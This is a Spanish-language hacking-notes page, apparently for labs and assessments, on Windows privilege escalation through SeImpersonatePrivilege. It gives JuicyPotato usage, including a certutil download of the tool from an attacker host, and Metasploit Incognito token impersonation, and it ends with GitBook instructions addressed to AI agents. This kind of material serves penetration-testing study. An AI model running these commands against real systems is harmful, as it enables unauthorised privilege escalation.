> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md).

# SeImpersonatePrivilege

`SeImpersonatePrivilege` permite que un proceso suplante el token de otro usuario. En objetivos Windows compatibles, este privilegio puede abusarse para obtener una sesión con privilegios muy elevados.

## Detección

```powershell
whoami /priv
```

<figure><img src="/files/32b7aacb08db1b3647ca169dfa1fbf84c6889d95" alt="SeImpersonatePrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## Elige la técnica adecuada

Distintas versiones de Windows necesitan enfoques distintos. Trátalo como una comprobación de compatibilidad, no como un exploit de un solo comando.

| Familia de herramientas                    | Suele ser relevante para                                                                  | Notas                                                          |
| ------------------------------------------ | ----------------------------------------------------------------------------------------- | -------------------------------------------------------------- |
| JuicyPotato                                | Compilaciones antiguas de Windows Server anteriores al refuerzo más reciente de DCOM.     | Necesita un CLSID compatible y un comportamiento local de COM. |
| Rutas al estilo RoguePotato / RemotePotato | Entornos en los que el relay de NTLM o los trucos de resolución están dentro del alcance. | Valida primero las suposiciones de red.                        |
| PrintSpoofer                               | Objetivos antiguos en los que la ruta de Print Spooler está expuesta y es compatible.     | El nivel de parches importa mucho.                             |
| Variantes de GodPotato / SweetPotato       | Objetivos de laboratorio con comportamiento compatible de tuberías con nombre/RPC.        | Prueba contra la compilación exacta del SO.                    |

## Validación manual con JuicyPotato

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

Sirve los binarios desde el host de ataque:

```bash
python3 -m http.server 8080
```

Descarga la herramienta autorizada en el objetivo:

```cmd
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe JP.exe
```

<figure><img src="/files/bf308fd740b44617200fe41356ce6c7cc774af95" alt="JuicyPotato and netcat transferred to the target"><figcaption></figcaption></figure>

Ejecuta primero un comando de validación inocuo:

```cmd
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\impersonate-check.txt"
type C:\Windows\Temp\impersonate-check.txt
```

Si la validación tiene éxito, reemplaza la acción con la carga útil delimitada para el laboratorio o la evaluación.

## Comprobaciones comunes

```cmd
whoami /priv
systeminfo
net start spooler
```

<figure><img src="/files/fe9a65137c9e3bbdd207a0c0a0c53f039103f80e" alt="Privileged shell obtained through JuicyPotato" width="563"><figcaption></figcaption></figure>

## Variante Incognito de Metasploit

```
load incognito
list_tokens -u
```

<figure><img src="/files/52ea7dac85e528cff11e40b2adde1808c3c51509" alt="Listing tokens with Incognito"><figcaption></figcaption></figure>

```
impersonate_token "ATTACKDEFENSE/Administrator"
```

<figure><img src="/files/b6d075f547431cb929ce91e3ba9b4aa2110902c9" alt="Impersonating an administrator token"><figcaption></figcaption></figure>

Migra a un proceso adecuado:

```
pgrep explorer
migrate 3512
getprivs
```

<figure><img src="/files/8bb9c1660b0cdb7a4c495ced0057a7d20905b25f" alt="Migrating into explorer process"><figcaption></figcaption></figure>

<figure><img src="/files/2da702f3e06b5adff1c982c1b5d8f30b5db4aa00" alt="Privileges after token impersonation" width="563"><figcaption></figcaption></figure>

## Puntos clave

* Confirma que el privilegio está presente y habilitado.
* La vía de explotación depende en gran medida de la versión de Windows y de las restricciones locales.
* Si el host es moderno y está parcheado, pasa a rutas de servicios, tareas programadas o credenciales antes de perder tiempo.
* Corrige limitando los servicios que exponen rutas de suplantación y manteniendo los hosts parcheados.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
